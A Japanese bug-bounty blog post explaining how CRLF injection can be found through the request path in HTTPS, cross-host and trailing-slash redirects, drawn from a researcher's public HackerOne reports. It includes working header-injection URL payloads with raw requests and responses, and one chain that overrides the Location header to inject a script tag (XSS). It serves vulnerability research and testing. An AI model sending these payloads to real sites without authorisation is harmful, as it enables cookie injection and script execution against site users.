ロシアのバグハンターであるSergey Bobrov氏(@Black2Fan)がHackerOneで公開しているレポートを読んでいると、私が今まで認識しなかった方法でCRLFインジェクションを検出していた。後学のためにまとめておく。
私が今まで行なっていた方法は、パラメータの値がレスポンスヘッダに出力される箇所で、値に改行コードを含めて確認するだけだった。値がSet-CookieヘッダやLocationヘッダに含まれるパラメータを対象に、RFCでヘッダフィールドの終端として認められている CRLF
(%0D%0A)と LF
(%0A)に加え、Firefoxを除く主要ブラウザ¹で終端として扱われる CR
(%0D)も含めて確認していた。具体的には以下のような動作である。
hxxp://example.jp/?l=en%0D%0ASet-Cookie:crlf=injection
GET /?l=en%0D%0ASet-Cookie:crlf=injection HTTP/1.1Host: example.jp...
HTTP/1.1 200 OKDate: Sun, 11 Feb 2018 00:00:00 JSTServer: ApacheSet-Cookie: lang=enSet-Cookie:crlf=injection...
Bobrov氏が行なっていたのは、30xリダイレクトが発生する箇所でRequest-URIのパスに改行コードを含め、Locationヘッダの出力を確認する方法だった。レポートのリダイレクト処理に注目すると以下のケースに分けられる。
HTTPSへのリダイレクト
異なるホストへのリダイレクト
トレイリングスラッシを削除するリダイレクト
各ケースでのCRLFインジェクションについてレポートを参考にまとめていく。
HTTPSのページにHTTPで接続すると、HTTPSへのリダイレクトが発生する箇所でのケースである。その際のパスに改行コードを含めることで、Locationヘッダの出力で改行できる場合がある。以下はSucuriへのレポートを参考にした例である。
hxxp://support.example.net/%23%0DSet-Cookie:crlf=injection
GET /%23%0DSet-Cookie:crlf=injection HTTP/1.1Host: support.example.net...
HTTP/1.1 301 Moved PermanentlyDate: Tue, 14 Jun 2016 19:56:14 GMTServer: ApacheLocation: https://support.example.net/#Set-Cookie:crlf=injection...
改行コードの手前に #
(%23)を含めているのは、それ以降がフラグメントとして処理され、Locationヘッダに出力されたからだと考える。パスやクエリは出力しないようにしていた、または改行コードをエスケープして出力していたが、通常サーバに送信されないフラグメントは想定外だったのだろうか。TrelloへのレポートのようにHTTPSからHTTPへのリダイレクトという逆のケースもあった。
接続したホストから別のホスト、または特定のパスへリダイレクトする箇所でのケースである。以下はownCloudへのレポートを参考にした api.example.org
から doc.example.org/api/
へのリダイレクトでの例である。
hxxps://api.example.org/%23%0DSet-Cookie:crlf=injection
GET /%23%0DSet-Cookie:crlf=injection HTTP/1.1Host: api.example.org...
HTTP/1.1 301 Moved PermanentlyDate: Wed, 27 Jul 2016 10:28:01 GMTServer: ApacheStrict-Transport-Security: max-age=63072000X-Xss-Protection: 1; mode=blockLocation: https://doc.example.org/api/#Set-Cookie:crlf=injection...
以前使われていたホストから現在のホストへの変更処理だろう。この他にもMail.Ruへのレポートのような example.jp
から example.jp/en/
への言語変更や、Greenhouse.ioへのレポートのような example.jp
から www.example.jp
へのサブドメインの変更でも検出されている。
パスの末尾にある /
をトレイリングスラッシュと呼ぶ。このトレイリングスラッシュがある場合は通常ディレクトリを指し、ない場合はコンテンツを指す。サイトによっては /about/
のようなディレクトリの要求に対して、トレイリングスラッシュを削除して /about
のようなコンテンツの要求へ変更する場合がある。以下はMail.Ruへのレポートを参考にしたトレイリングスラッシュを削除する際のリダイレクトでの例である。
hxxp://m.my.example.jp/crlftest%0DSet-Cookie:crlf=injection/
GET /crlftest%0DSet-Cookie:crlf=injection/ HTTP/1.1Host: m.my.example.jp...
HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Sat, 11 Jun 2016 00:00:00 GMTContent-Type: text/htmlLocation: http://m.my.example.jp/crlftestSet-Cookie:crlf=injection...
これは crlftest
という存在しないコンテンツを要求した場合の例だが、存在するコンテンツを要求した場合のみトレイリングスラッシュを削除する箇所もある。これとは逆にトレイリングスラッシュを追加する際にリダイレクトが発生する箇所もある。そのような箇所でもパスから改行コードを挿入できる可能性はある。
Bobrov氏のレポートのなかでStarbucksへのレポートだけが、リダイレクトを止めてXSSにつなげていた。リダイレクトを止める方法はブラウザごとに異なるため、レポートではChromeとFirefoxのPoCを示している。以下はFirefoxの例である。
hxxp://stagecafrstore.example.com/%3F%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3A0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
GET /%3F%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3A0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1Host: stagecafrstore.example.com...
HTTP/1.1 301 Content-movedDate: Tue, 20 Dec 2016 08:40:11 GMTServer: WebServerX-Original-link: /%3F%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3A0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3EX-XSS-Protection: 0Location: //x:1Content-Type: text/htmlContent-Length: 98<script>alert(document.domain)</script>Content-Length: 0X-OneLinkServiceType: onelink.fcgi...
このケースは ?
(%3F)と CRLF
(%0D%0A)の後にLocationヘッダを挿入している点が興味深い。本来はHTTPSのページまたは異なるホストへのLocationヘッダが出力されていたが、CRLFインジェクションによってヘッダを上書きできたのだろう²。Locationヘッダを上書きしてリダイレクト先に :1
のようなブロック対象のポートを設定することで、リダイレクトを止めてレスポンスボディを表示させている³。ChromeではLocationヘッダの値を空にすることでリダイレクトを止めている。Request-URIのパスからのCRLFインジェクションでも、Locationヘッダを上書きできるケースはあるようだ。
プログラム言語やフレームワークでの対策によって、CRLFインジェクションは作り込まれにくい脆弱性になったと考えていた。最近の診断でもほとんど見かけることはなかった。しかし今回取り上げた事例は最近でも検出される場合があり、HackerOneでは他にもレポートが公開されている。Zeronights 2017の「CRLF and OpenRedirect」でも、この事例は取り上げられていた。これだけ検出されているのだから、今後バグバウンティの対象になるサイトでも当然検出されるだろう。スコープ内であれば認定される可能性が高い脆弱性なので狙い目だ。
¹ Chrome64、Safari11、Edge41、IE11は CR
をヘッダフィールドの終端として扱っていた。
² 徳丸本のP.195「外部ドメインへのリダイレクト」にあるようなCGI特有の動作だと考える。
³ はせがわさんがポートブロッキングを使う方法をまとめている。